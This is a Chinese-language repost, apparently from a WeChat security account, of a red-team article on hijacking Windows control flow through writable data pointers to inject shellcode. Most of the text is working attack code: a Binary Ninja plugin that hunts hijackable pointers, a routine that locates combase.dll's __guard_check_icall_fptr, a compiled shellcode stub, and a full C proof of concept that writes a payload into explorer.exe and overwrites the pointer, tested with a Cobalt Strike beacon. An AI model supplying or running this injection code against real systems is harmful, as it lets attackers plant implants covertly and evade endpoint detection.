在执行进程注入时,构成行为特征的最重要的 IOC 之一就是将执行权交给我们的 Shellcode。虽然实现这一目标的技术有很多,而且这当然不是什么纯粹的“新”技术——但在这篇文章中,我不仅想展示一种“新的 PoC 技术”,还想展示我经历的整个过程,希望这能成为能力开发人员技能组合的有力补充。
自从@_EthicalChaos_发布ThreadlessInject以来,我一直很喜欢通过系统上的各种指针来劫持控制流,特别是那些标记为可读和可写的内存区域中的指针,因为它可以避免诸如及其替代方案之类的嘈杂调用VirtualProtect。
什么是数据指针?
我所说的“数据指针”只是二进制可读可写内存部分中的一个值,它指向代码要调用的函数。
举一个简单的例子,我们来看下面的源代码:
#include<Windows.h>
#include<stdio.h>
volatile FARPROC pointer = 0;
volatileintfunc(void)
{
return0;
}
intmain(void)
{
pointer = (FARPROC)func;
printf(
"pointert@ 0x%016llxn"
"funct@ 0x%016llxn",
func, pointer);
pointer();
return0;
}
对于那些不熟悉的人来说,您volatile现在可以忽略源代码中的关键字,它在这里的唯一目的是阻止编译器优化该func函数。
如你所见,我们有一个全局变量pointer,它在运行时被设置为指向该func函数。稍后会在调用func后使用它来执行printf。简而言之,如果我们可以覆盖pointer,我们就可以控制该pointer()行执行哪些代码。通过查看可执行文件的反编译结果可以进一步说明这一点。
枚举可劫持数据指针
此过程的第一步是选择目标二进制文件,以在其中搜寻劫持行为。对于我的目标(进程注入),我选择的是目标二进制文件,KnownDlls因为它们不仅是系统中常用的DLL,而且在每个进程中都加载到相同的虚拟基址。这意味着我们可以简单地在加载器进程的内存中找到指针,然后对远程进程执行一次写入操作即可实现劫持。
手工查找
我最初开始研究,ntdll.dll是因为我认为如果能找到并劫持一个常用的调用指针,就意味着我几乎可以劫持系统上任何进程的控制流。这里没有什么魔法,我只是手动检查了该.data部分中每个条目的引用ntdll,直到在 Binary Ninja 中找到调用引用。
如下所示,这里有一些示例性(尽管不是很有用)的指针,这些指针可以被覆盖以劫持对RtlpDebugPageHeapCreate、RtlpDebugPageHeapDestroy和 的调用(在极少数情况RtlCreateHeap下)RtlDestroyHeap。
您可能已经注意到,这会耗费大量时间,但可以通过多种方式实现自动化。
自动查找
为了自动找到这些指针,我们需要执行以下操作之一:
-
列举参考值作为.data说明call
-
jmp rax找到我们可以在该部分中搜索的代码模式(例如指令) .text。
第一种方法更可行,但是在编写该插件时,我在枚举代码引用时遇到了二进制忍者 API 的问题,因此我选择了第二种方法。
如果我们看一下示例可劫持指针的 LLIL(低级解释语言)ntdll.dll,我们将看到以下<return> tailcall(rax)模式。
这是各种可劫持指针中相当一致的模式,因此我编写了一个小型(写得很糟糕)的 Binary Ninja 插件来枚举此模式,并检查 rax 中的值是否在该.data部分内并将输出打印到日志中。
import os
from binaryninja import *
defscan(bv: BinaryView) -> None:
data_section: Section = bv.sections.get(".data")
if data_section == None:
print("Failed to find .data section")
return
data_start = data_section.start
data_end = data_section.end
for func in bv.functions:
try:
for block in func.llil.basic_blocks:
instructions = list(block)
if str(instructions[-1]) == "<return> tailcall(rax)":
ops = instructions[0].operands
if ops[0] == "rax":
data_ptr = ops[1].src.value.value
if data_ptr < data_start or data_ptr > data_end:
continue
print(f".data hijack: [{func.name}] ptr: @{hex(data_ptr)} (.data offset: {hex(data_ptr - data_start)})")
except ILException:
print(f"Could not load llil for function {func.name}")
return
# Init & register the plugin
PluginCommand.register("DataHijack\Scan Hijacks", "Scan for hijacks", scan)
运行此命令ntdll.dll将产生以下输出,它实际上向我们展示了我们手动找到的指针:
[ScriptingProvider].datahijack: [RtlpDebugPageHeapDestroy]ptr: @0x180166420 (.data offset: 0x420)
我们感兴趣的目标指针是__guard_check_icall_fptr被大约 2000 个函数引用的,这些函数由 MIDL 编译器自动生成,作为 COM 代理的存根函数。点击此处了解更多信息。
编写概念证明
现在我们有了目标指针(combase.dll!__guard_check_icall_fptr),就可以开始编写概念验证了。为了方便理解,我们将以进程注入的形式进行演示。概念验证需要执行以下操作:
-
定位当前进程内存中的目标指针
-
构建 Shellcode 存根以确保有效载荷的干净、无阻塞执行
-
将存根和 shellcode 写入目标进程
-
覆盖远程进程中的指针
在内存中定位指针
由于我们的目标二进制文件位于内KnownDlls,我们可以在我们自己的进程中定位指针,因为它将位于我们目标进程中的相同基地址。
第一步是找到目标二进制文件的基地址,因为这只是一个概念证明,我们可以用它LoadLibrary来做到这一点。
HMODULE combase = LoadLibraryA("combase.dll");
接下来是更难的部分。我们需要在内存中找到该指针的地址,同时还要确保我们的 POC 函数能够跨 Windows 版本运行。幸运的是,其中一些NdrProxy函数由 combase 导出,因此我们可以在其中寻找指针。
FARPROC NdrProxyForwardingFunction13 = GetProcAddress(combase, "NdrProxyForwardingFunction13");
LOG_INFO("NdrProxyForwardingFunction13 @ 0x%016llx", (size_t)NdrProxyForwardingFunction13);
由于我们希望它能够跨版本工作,因此我们不会使用二进制基数的静态偏移量,而是使用突出显示的指令在内存中定位引用并以此方式进行解析。
需要注意的是,最后一条指令(call)是基于 的相对调用rip。因此,我们需要获取这个偏移量,并将其添加到内存中下一条指令的地址,以计算指针的位置。
对于那些不太熟悉汇编的人,我建议尝试一下Defuse 的在线汇编程序
在这种情况下,我们可以看到ff 15对应于调用指令的类型,并且e7 c3 17 00是小端格式的偏移量。
ff 15 e7 c3 17 00 call QWORD PTR [rip+0x17c3e7]
现在我们知道了我们的蛋,我们可以按如下方式定义和寻找它,我们将使用 VX-API 中的 EggHunt 函数(感谢 vx-underground <3):
//
// Search a region of memory for an egg. Returns NULL on failure.
//
PVOID EggHunt(_In_ PVOID RegionStart, _In_ SIZE_T RegionLength, _In_ PVOID Egg, _In_ SIZE_T EggLength)
{
if (!RegionStart || !RegionLength || !Egg || !EggLength)
returnNULL;
for (CHAR* pchar = (CHAR*)RegionStart; RegionLength >= EggLength; ++pchar, --RegionLength)
{
if (memcmp(pchar, Egg, EggLength) == 0)
return pchar;
}
returnNULL;
}
intmain(void)
{
HMODULE combase = LoadLibraryA("combase.dll");
FARPROC NdrProxyForwardingFunction13 = GetProcAddress(combase, "NdrProxyForwardingFunction13");
LOG_INFO("NdrProxyForwardingFunction13 @ 0x%016llx", (size_t)NdrProxyForwardingFunction13);
BYTE egg___guard_check_icall_fptr[] = {
0x4c, 0x8b, 0x11, // mov r10, qword [rcx]
0x49, 0x8b, 0x4a, 0x68, // mov rcx, qword [r10+0x68]
0xff, 0x15 // call qword [rel __guard_check_icall_fptr] {_guard_check_icall_nop}
// next 4 bytes are the offset
};
BYTE* egg_location = (BYTE*)EggHunt(NdrProxyForwardingFunction13, 256, egg___guard_check_icall_fptr, sizeof(egg___guard_check_icall_fptr));
if (!egg_location)
{
LOG_ERROR("Failed to locate __guard_check_icall_fptr call offset @ combase.dll!NdrProxyForwardingFunction13");
return;
}
BYTE* egg_end = egg_location + sizeof(egg___guard_check_icall_fptr);
LOG_INFO("combase.dll!__guard_check_icall_fptr egg @ %p", egg_location);
LOG_INFO("combase.dll!__guard_check_icall_fptr egg_end @ %p", egg_end);
DWORD offset = *(DWORD*)egg_end;
LOG_INFO("combase.dll!__guard_check_icall_fptr call offset => 0x%08lx", offset);
FARPROC* __guard_check_icall_fptr = (FARPROC*)(egg_end + offset + sizeof(DWORD));
FARPROC _guard_check_icall_nop = *__guard_check_icall_fptr;
LOG_SUCCESS("combase.dll!__guard_check_icall_fptr @ %p", __guard_check_icall_fptr);
LOG_SUCCESS("combase.dll!_guard_check_icall_nop @ %p", _guard_check_icall_nop);
}
运行测试得到以下输出,确认我们已成功在内存中定位指针:
将 Shellcode 写入目标进程
由于本文的目的并非使进程注入的这一特定部分“隐秘”,因此我们将仅使用VirtualAllocEx和WriteProcessMemoryWinAPI 来实现。0xc0是存根的大小,四舍五入到最接近的 16 字节,以确保所有内容正确对齐。
BYTE* base_address = (BYTE*)VirtualAllocEx(process, NULL, sizeof(shellcode) + 0xc0, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process, base_address, shellcode, sizeof(shellcode), NULL);
覆盖目标进程中的指针
为了测试的目的,我将使用explorer.exe。这是因为Explorer是一个相对安全的进程,即使崩溃(它会自行重启),并且它严重依赖于COM代理,因此即使右键单击也会触发我们的控制流劫持。
至于实际编写指针,我们将再次使用WriteProcessMemory如下方法。你可能注意到了VirtualProtect这里使用了指针,这是因为我们在.rdata这篇文章中使用了一个指针,因为我不想烧掉其他指针。找到更好的指针留给读者自己去寻找,你可以使用这种方法将许多指针武器化。
DWORD oldprotect = NULL;
BOOL success = VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), PAGE_READWRITE, &oldprotect);
WriteProcessMemory(process, __guard_check_icall_fptr, &base_address, sizeof(PVOID), NULL);
success = VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), oldprotect, &oldprotect);
此时,我们可以对 POC 进行快速测试,并且我们已经可以执行 shellcode!
然而有两个问题:
-
执行 shellcode 后,目标进程崩溃或挂起
-
执行后不会恢复指针,这意味着可能会捕获多个 shell,从而产生不必要的噪音
编写 Shellcode 存根
我们的 shellcode 存根将执行以下操作:
-
恢复原始指针值以防止多次回调
-
在新线程中执行有效载荷
-
干净地返回到原始状态
为了节省大量时间并利用编译器优化,我们实际上可以只编写 C 代码并通过非 MSVC 编译器进行编译,以便编译出与位置无关的代码。我们可以使用 来实现这一点,如下所示x86_64-w64-mingw32-gcc。
源代码
voidstub(void)
{
// save registers
asm(
"push raxn"
"push rdin"
"push rcxn"
"push rdin"
"push rsin"
"push r8n"
"push r9n"
"push r10n"
"push r11n"
"push r12n"
"push r13n"
);
// placeholder variables that we will replace in the loader
tVirtualProtect VirtualProtect = (tVirtualProtect)0x1111111111111111;
tCreateThread CreateThread = (tCreateThread)0x2222222222222222;
FARPROC* icall_fptr = (FARPROC*)0x3333333333333333;
FARPROC icall_fptr_orig = (FARPROC)0x4444444444444444;
DWORD oldprot = 0;
// restore original pointer value
VirtualProtect(icall_fptr, sizeof(FARPROC), PAGE_READWRITE, &oldprot);
*icall_fptr = icall_fptr_orig;
VirtualProtect(icall_fptr, sizeof(FARPROC), oldprot, &oldprot);
// create thread starting at shellcode address
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)0x5555555555555555, NULL, NULL, NULL);
// restore register values
asm(
"pop r13n"
"pop r12n"
"pop r11n"
"pop r10n"
"pop r9n"
"pop r8n"
"pop rsin"
"pop rdin"
"pop rcxn"
"pop rdin"
"pop raxn"
);
// return 0, as that's what the original function did.
return0;
}
编译命令行
x86_64-w64-mingw32-gcc -fPIC -masm=intel ./stub.c -o stub.exe
然后我们可以stub使用反汇编程序从可执行文件中提取函数,为此我使用了 Binary Ninja 的bv.readAPI,它允许我们从地址范围读取原始字节。
bv.read(0x140001530, 0x1400015e6 - 0x140001530 + 1).hex()
'4154534883ec5850575157564150415141524153415441554c8d4c244cc744244c00000000ba0800000049bc33333333333333334c894c24384c89e141b80400000048bb1111111111111111ffd34c8b4c2438448b44244c4c89e148b84444444444444444ba0800000049890424ffd3c7442420000000004531c931d248c74424280000000031c949b8555555555555555548b82222222222222222ffd0585f595f5e41584159415a415b415c415d4883c4585b415cc3'
现在我们有了这些,我们可以替换占位符值,然后将其写入目标进程内存中有效载荷之前。有效载荷将存储在 中allocated_address + 0xc0,因为我们需要一个 16 字节对齐的 Shellcode 基址。
BYTE stub[] = {
0x41,0x54,0x53,0x48,0x83,0xec,0x58,0x50,0x57,0x51,0x57,0x56,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x4c,0x8d,0x4c,0x24,0x4c,0xc7,0x44,0x24,0x4c,0x00,0x00,0x00,0x00,0xba,0x08,0x00,0x00,0x00,
0x49,0xbc,
0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x33,
0x4c,0x89,0x4c,0x24,0x38,0x4c,0x89,0xe1,0x41,0xb8,0x04,0x00,0x00,0x00,0x48,0xbb,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xff,0xd3,0x4c,0x8b,0x4c,0x24,0x38,0x44,0x8b,0x44,0x24,0x4c,0x4c,0x89,0xe1,0x48,0xb8,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0xba,0x08,0x00,0x00,0x00,0x49,0x89,0x04,0x24,0xff,0xd3,0xc7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x45,0x31,0xc9,0x31,0xd2,0x48,0xc7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x31,0xc9,0x49,0xb8,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x48,0xb8,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0xff,0xd0,0x58,0x5f,0x59,0x5f,0x5e,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5b,0x41,0x5c,0x41,0x5d,0x48,0x83,0xc4,0x58,0x5b,0x41,0x5c,0xc3
};
HMODULE kernel32 = GetModuleHandleA("KERNEL32.DLL");
FARPROC _VirtualProtect = GetProcAddress(kernel32, "VirtualProtect");
FARPROC _CreateThread = GetProcAddress(kernel32, "CreateThread");
BYTE* shellcode_address = base_address + 0xc0;
memcpy(stub + 44, &__guard_check_icall_fptr, sizeof(FARPROC*));
memcpy(stub + 68, &_VirtualProtect, sizeof(FARPROC));
memcpy(stub + 93, __guard_check_icall_fptr, sizeof(FARPROC));
memcpy(stub + 138, &shellcode_address, sizeof(FARPROC));
memcpy(stub + 148, &_CreateThread, sizeof(FARPROC));
WriteProcessMemory(process, base_address, stub, sizeof(stub), NULL);
WriteProcessMemory(process, shellcode_address, shellcode, sizeof(shellcode), NULL);
将 shellcode 替换为 Cobalt Strike 信标,我们现在可以对其进行测试。
注意:避免使用 msfvenom 的windows/x64/execshellcode,因为它在执行后会使目标进程崩溃,并可能产生误导性的结果。
#include <windows.h>
#include <stdio.h>
#pragma region [colour codes]
#define COLOUR_DEFAULT " 33[0m"
#define COLOUR_BOLD " 33[1m"
#define COLOUR_UNDERLINE " 33[4m"
#define COLOUR_NO_UNDERLINE " 33[24m"
#define COLOUR_NEGATIVE " 33[7m"
#define COLOUR_POSITIVE " 33[27m"
#define COLOUR_BLACK " 33[30m"
#define COLOUR_RED " 33[31m"
#define COLOUR_GREEN " 33[32m"
#define COLOUR_YELLOW " 33[33m"
#define COLOUR_BLUE " 33[34m"
#define COLOUR_MAGENTA " 33[35m"
#define COLOUR_CYAN " 33[36m"
#define COLOUR_LIGHTGRAY " 33[37m"
#define COLOUR_DARKGRAY " 33[90m"
#define COLOUR_LIGHTRED " 33[91m"
#define COLOUR_LIGHTGREEN " 33[92m"
#define COLOUR_LIGHTYELLOW " 33[93m"
#define COLOUR_LIGHTBLUE " 33[94m"
#define COLOUR_LIGHTMAGENTA " 33[95m"
#define COLOUR_LIGHTCYAN " 33[96m"
#define COLOUR_WHITE " 33[97m"
#pragma endregion
#pragma region [dprintf]
#if _DEBUG
#include <stdio.h>
#define dprintf(fmt, ...) printf(fmt, __VA_ARGS__)
#define LOG_SUCCESS(fmt, ...) printf(COLOUR_BOLD COLOUR_GREEN "[+]" COLOUR_DEFAULT " [" __FUNCTION__ "] " fmt "n", __VA_ARGS__)
#define LOG_INFO(fmt, ...) printf(COLOUR_BOLD COLOUR_BLUE "[*]" COLOUR_DEFAULT " [" __FUNCTION__ "] " fmt "n", __VA_ARGS__)
#define LOG_ERROR(fmt, ...) printf(COLOUR_BOLD COLOUR_RED "[!]" COLOUR_DEFAULT " [" __FUNCTION__ "] " fmt "n", __VA_ARGS__)
#define LOG_DEBUG(fmt, ...) printf(COLOUR_BOLD COLOUR_MAGENTA "[D]" COLOUR_DEFAULT " [" __FUNCTION__ "] " fmt "n", __VA_ARGS__)
#else
#define dprintf(fmt, ...) (0)
#define LOG_SUCCESS(fmt, ...) (0)
#define LOG_INFO(fmt, ...) (0)
#define LOG_ERROR(fmt, ...) (0)
#define LOG_DEBUG(fmt, ...) (0)
#endif
#pragma endregion
//
// Search a region of memory for an egg. Returns NULL on failure.
//
PVOID EggHunt(_In_ PVOID RegionStart, _In_ SIZE_T RegionLength, _In_ PVOID Egg, _In_ SIZE_T EggLength)
{
if (!RegionStart || !RegionLength || !Egg || !EggLength)
returnNULL;
for (CHAR* pchar = (CHAR*)RegionStart; RegionLength >= EggLength; ++pchar, --RegionLength)
{
if (memcmp(pchar, Egg, EggLength) == 0)
return pchar;
}
returnNULL;
}
VOID poc(INT pid)
{
HMODULE combase = LoadLibraryA("combase.dll");
FARPROC NdrProxyForwardingFunction13 = GetProcAddress(combase, "NdrProxyForwardingFunction13");
LOG_INFO("NdrProxyForwardingFunction13 @ 0x%016llx", (size_t)NdrProxyForwardingFunction13);
/*
18021e30c 4c8b11 mov r10, qword [rcx]
18021e30f 498b4a68 mov rcx, qword [r10+0x68]
18021e313 ff159f6b0900 call qword [rel __guard_check_icall_fptr] {_guard_check_icall_nop}
*/
BYTE egg___guard_check_icall_fptr[] = {
0x4c, 0x8b, 0x11, // mov r10, qword [rcx]
0x49, 0x8b, 0x4a, 0x68, // mov rcx, qword [r10+0x68]
0xff, 0x15 // call qword [rel __guard_check_icall_fptr] {_guard_check_icall_nop}
// next 4 bytes are the offset
};
BYTE* egg_location = (BYTE*)EggHunt(NdrProxyForwardingFunction13, 256, egg___guard_check_icall_fptr, sizeof(egg___guard_check_icall_fptr));
if (!egg_location)
{
LOG_ERROR("Failed to locate __guard_check_icall_fptr call offset @ combase.dll!NdrProxyForwardingFunction13");
return;
}
BYTE* egg_end = egg_location + sizeof(egg___guard_check_icall_fptr);
LOG_INFO("combase.dll!__guard_check_icall_fptr egg @ %p", egg_location);
LOG_INFO("combase.dll!__guard_check_icall_fptr egg_end @ %p", egg_end);
DWORD offset = *(DWORD*)egg_end;
LOG_INFO("combase.dll!__guard_check_icall_fptr call offset => 0x%08lx", offset);
FARPROC* __guard_check_icall_fptr = (FARPROC*)(egg_end + offset + sizeof(DWORD));
FARPROC _guard_check_icall_nop = *__guard_check_icall_fptr;
LOG_SUCCESS("combase.dll!__guard_check_icall_fptr @ %p", __guard_check_icall_fptr);
LOG_SUCCESS("combase.dll!_guard_check_icall_nop @ %p", _guard_check_icall_nop);
//
// process injection stuff
//
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // explorer.exe rn
//
// Allocate & write shellcode to target process.
//
BYTE* base_address = (BYTE*)VirtualAllocEx(process, NULL, sizeof(shellcode) + 0xc0, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BYTE stub[] = {
0x41,0x54,0x53,0x48,0x83,0xec,0x58,0x50,0x57,0x51,0x57,0x56,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x4c,0x8d,0x4c,0x24,0x4c,0xc7,0x44,0x24,0x4c,0x00,0x00,0x00,0x00,0xba,0x08,0x00,0x00,0x00,
0x49,0xbc,
0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x33,
0x4c,0x89,0x4c,0x24,0x38,0x4c,0x89,0xe1,0x41,0xb8,0x04,0x00,0x00,0x00,0x48,0xbb,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xff,0xd3,0x4c,0x8b,0x4c,0x24,0x38,0x44,0x8b,0x44,0x24,0x4c,0x4c,0x89,0xe1,0x48,0xb8,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0xba,0x08,0x00,0x00,0x00,0x49,0x89,0x04,0x24,0xff,0xd3,0xc7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x45,0x31,0xc9,0x31,0xd2,0x48,0xc7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x31,0xc9,0x49,0xb8,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x48,0xb8,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0xff,0xd0,0x58,0x5f,0x59,0x5f,0x5e,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5b,0x41,0x5c,0x41,0x5d,0x48,0x83,0xc4,0x58,0x5b,0x41,0x5c,0xc3
};
HMODULE kernel32 = GetModuleHandleA("KERNEL32.DLL");
FARPROC _VirtualProtect = GetProcAddress(kernel32, "VirtualProtect");
FARPROC _CreateThread = GetProcAddress(kernel32, "CreateThread");
BYTE* shellcode_address = base_address + 0xc0;
memcpy(stub + 44, &__guard_check_icall_fptr, sizeof(FARPROC*));
memcpy(stub + 68, &_VirtualProtect, sizeof(FARPROC));
memcpy(stub + 93, __guard_check_icall_fptr, sizeof(FARPROC));
memcpy(stub + 138, &shellcode_address, sizeof(FARPROC));
memcpy(stub + 148, &_CreateThread, sizeof(FARPROC));
WriteProcessMemory(process, base_address, stub, sizeof(stub), NULL);
WriteProcessMemory(process, shellcode_address, shellcode, sizeof(shellcode), NULL);
LOG_SUCCESS("Successfully wrote shellcode to target process");
//
// Overwrite CFG with PTR
//
DWORD oldprotect = NULL;
BOOL success = VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), PAGE_READWRITE, &oldprotect);
WriteProcessMemory(process, __guard_check_icall_fptr, &base_address, sizeof(PVOID), NULL);
success = VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), oldprotect, &oldprotect);
LOG_SUCCESS("Overwrote CFG, enjoy shell :)");
}
int main(int argc, char** argv)
{
if (argc != 2)
{
LOG_ERROR(
"Invalid usage!n"
" Usage: %s <pid>",
argv[0]
);
return-1;
}
INT pid = atoi(argv[1]);
poc(pid);
return0;
}
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):通过数据指针进行控制流劫持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论